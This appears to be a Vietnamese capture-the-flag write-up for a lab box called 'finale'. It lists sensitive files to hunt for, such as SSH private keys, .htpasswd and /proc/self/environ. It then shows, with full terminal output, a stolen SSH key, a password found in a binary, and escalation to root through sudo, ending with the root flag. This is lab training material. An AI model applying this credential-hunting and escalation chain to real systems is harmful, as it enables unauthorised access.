- Khóa bảo mật và chứng chỉ
- id_rsa: Khóa riêng tư cho SSH, thường được lưu trong thư mục ~/.ssh.
- id_rsa.pub: Khóa công khai cho SSH.
- server.key: Khóa riêng tư của máy chủ sử dụng cho SSL/TLS.
- server.crt: Chứng chỉ SSL/TLS của máy chủ.
- Tệp chứa thông tin nhận dạng cá nhân (PII)
- user_data.json: Tệp chứa thông tin người dùng, bao gồm tên, địa chỉ email, số điện thoại, địa chỉ, và các thông tin cá nhân khác.
- customer_info.csv: Tệp chứa thông tin khách hàng.
- Tệp tạm thời và tệp lưu trữ
- /tmp/sensitive_data.tmp: Tệp tạm thời chứa dữ liệu nhạy cảm.
- /var/tmp/backups.zip: Tệp lưu trữ chứa các tệp sao lưu quan trọng.
- Tệp kiểm soát truy cập
- .htaccess: Tệp cấu hình của Apache, có thể chứa các quy tắc bảo mật và kiểm soát truy cập.
- .htpasswd: Tệp chứa tên người dùng và mật khẩu đã băm để kiểm soát truy cập vào các vùng bảo mật của trang web.
- Các tệp khác có thể chứa thông tin nhạy cảm
- /proc/kcore: Hình ảnh của bộ nhớ vật lý, có thể chứa các thông tin nhạy cảm nếu bị truy cập.
- /proc/self/environ: Tệp môi trường của quy trình hiện tại, có thể chứa các biến môi trường nhạy cảm.
Từ nội dung file /etc/passwd phía trên, tôi biết được máy có 2 user là bill và mark. Tìm kiếm ssh private key của 2 user này, tôi đọc được private key của bill
Lưu nó về và login ssh. Đoạn này thì giống với Port 80 rồi nên tôi sẽ không nhắc lại nữa.
Privilege escalation
Tôi nhận thấy bill không có quyền sudo, nhưng mark thì có
bill@finale:~$ id
uid=1001(bill) gid=1001(bill) groups=1001(bill)
bill@finale:~$ id mark
uid=1000(mark) gid=1000(mark) groups=1000(mark),27(sudo)
Vậy nên trước tiên tôi sẽ tìm cách leo sang mark. Bên trong thư mục của mark có vài thứ hay ho
bill@finale:~$ cd /home/mark/
bill@finale:/home/mark$ ls -la
total 52
drwxr-xr-x 5 mark mark 4096 Jun 21 19:34 .
drwxr-xr-x 5 root root 4096 Jun 21 18:20 ..
-rw-r--r-- 1 mark mark 15952 Jun 21 18:16 actvn
-rw-r--r-- 1 root root 0 Jun 21 19:34 .bash_history
-rw-r--r-- 1 mark mark 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 mark mark 3771 Feb 25 2020 .bashrc
drwx------ 2 mark mark 4096 Jun 18 09:59 .cache
-rw------- 1 mark mark 0 Jun 21 19:29 .history
drwxrwxr-x 3 mark mark 4096 Jun 18 10:11 .local
-rw-r--r-- 1 mark mark 807 Feb 25 2020 .profile
drwx------ 2 mark mark 4096 Jun 18 09:57 .ssh
-rw-r--r-- 1 mark mark 0 Jun 18 09:59 .sudo_as_admin_successful
-rw-rw-rw- 1 mark bill 216 Jun 22 16:07 zip_move.py
-rw-r--r-- 1 root root 0 Jun 21 19:34 .zsh_history
bill@finale:/home/mark$
Xác định định dạng của file actvn
bill@finale:/home/mark$ file actvn
actvn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=758079e8804c56fef093eb3e779b30110bf712ac, for GNU/Linux 3.2.0, not stripped
Thử phân tích file này
bill@finale:/home/mark$ strings actvn
Command 'strings' not found, but can be installed with:
apt install binutils
Please ask your administrator.
bill@finale:/home/mark$ cat actvn
@@@@�mm �-�=�=HP�-�=�=�888 XXXDDS�td888 P�td, , , ,,Q�tdR�td�-�=�=00/lib64/ld-linux-x86-64.so.2GNU��GNUu�y�LV���>w�0
��GNU��e�mH "d s "__cxa_finalize__libc_start_mainputslibc.so.6GLIBC_2.2.5GLIBC_2.34_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTable'u␦i 1���=�0��@�?�?�?�?�?@H�H��/H��t��H���5�/�%�/@�%�/h������%�/f�1�I��^H��H���PTE1�1�H�=��O/�f.�@H�=�/H��/H9�tH�./H��t �����H�=a/H�5Z/H)�H��H��?H��H�H��tH��.H����fD�����=/u+UH�=�.H��t
H�=�.�)����d�����.]������w���UH��H�����zRx�H��H����������H�H��mark:zuckerberg1984do you love cats?(����t����$���D
����"zRx
$x��� FJ
d �?␦;*3$"Dp��\Q���)A�C
0�'
d�␦����o�p�
�
�?� ������o���o���o����o�=6@GCC: (Debian 13.2.0-24) 13.2.0�� | ��� �3�I␦@U�=|0��=������!����=�, ��?�
H@(9@@d@S b@o ~␦ @LP"�␦@�9)�@� �"�
Scrt1.o__abi_tagcrtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.0__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entryactvn.c__FRAME_END___DYNAMIC__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_start_main@GLIBC_2.34_ITM_deregisterTMCloneTableputs@GLIBC_2.2.5_edata_fini__data_start__gmon_start____dso_handle_IO_stdin_used_end__bss_startmain__TMC_END___ITM_registerTMCloneTable__cxa_finalize@GLIBC_2.2.5_init.symtab.strtab.shstrtab.interp.note.gnu.property.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.plt.data.bss.comment#886XX$I|| W���o��a
��ipp�q���o��~���o�@@��� �PP�dd � *�, , ,�X X ������=�-��?���?0/
@0080` �3�s5␦bill@finale:/home/mark$
Boom! Đập vào mắt tôi là dòng chữ mark:zuckerberg1984do you love cats?. Đây có thể chính là password của user mark
Để chắc chắn hơn thì tôi sẽ lấy file này về máy kali để phân tích
bill@finale:/home/mark$ which python
bill@finale:/home/mark$ which python3
/usr/bin/python3
bill@finale:/home/mark$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
┌──(neo㉿n0b0dy)-[~]
└─$ wget http://192.168.24.165:8000/actvn
--2024-06-24 14:13:17-- http://192.168.24.165:8000/actvn
Connecting to 192.168.24.165:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15952 (16K) [application/octet-stream]
Saving to: ‘actvn’
actvn 100%[===================================================>] 15.58K --.-KB/s in 0.001s
2024-06-24 14:13:17 (27.8 MB/s) - ‘actvn’ saved [15952/15952]
┌──(neo㉿n0b0dy)-[~]
└─$ chmod +x actvn
┌──(neo㉿n0b0dy)-[~]
└─$ ./actvn
do you love cats?
┌──(neo㉿n0b0dy)-[~]
└─$ strings actvn
/lib64/ld-linux-x86-64.so.2
__cxa_finalize
__libc_start_main
puts
libc.so.6
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
mark:zuckerberg1984
do you love cats?
;*3$"
GCC: (Debian 13.2.0-24) 13.2.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
actvn.c
__FRAME_END__
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_start_main@GLIBC_2.34
_ITM_deregisterTMCloneTable
puts@GLIBC_2.2.5
_edata
_fini
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
_end
__bss_start
main
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@GLIBC_2.2.5
_init
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment
┌──(neo㉿n0b0dy)-[~]
└─$
Sử dụng strings -> mark:zuckerberg1984. Thử chuyển sang user mark
bill@finale:/home/mark$ su mark
Password:
mark@finale:~$ whoami
mark
mark@finale:~$ id
uid=1000(mark) gid=1000(mark) groups=1000(mark),27(sudo)
Thử sudo -l
mark@finale:~$ sudo -l
[sudo] password for mark:
Matching Defaults entries for mark on finale:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mark may run the following commands on finale:
(ALL : ALL) ALL
mark@finale:~$
Điều này có nghĩa là mark có quyền sử dụng lệnh sudo
để chạy bất kỳ lệnh nào. Xong! Root đây rồi
mark@finale:~$ sudo su
root@finale:/home/mark# whoami
root
root@finale:/home/mark# id
uid=0(root) gid=0(root) groups=0(root)
root@finale:/home/mark# cd /root
root@finale:~# ls -la
total 48
drwx------ 6 root root 4096 Jun 24 02:50 .
drwxr-xr-x 19 root root 4096 Jun 18 09:52 ..
-rw-r--r-- 1 root root 101 Jun 21 17:36 .apport-ignore.xml
-rw------- 1 root root 241 Jun 24 02:50 .bash_history
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 2 root root 4096 Jun 19 16:10 .cache
drwxr-xr-x 3 root root 4096 Jun 18 10:01 .local
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw------- 1 root root 33 Jun 21 15:34 root.txt
drwx------ 3 root root 4096 Jun 18 09:56 snap
drwx------ 2 root root 4096 Jun 18 09:56 .ssh
-rw-r--r-- 1 root root 175 Jun 20 19:00 .wget-hsts
root@finale:~# cat root.txt
4ca4fe79193fde3204b548932c3a40a7
root@finale:~#
Nếu thấy box này hay, bạn có thể bấm vào nút Clap bên dưới để ủng hộ, hoặc nếu có góp ý hay trao đổi, đừng ngần ngại liên hệ với tôi qua phần thông tin liên hệ trong Resume nhé. Peace!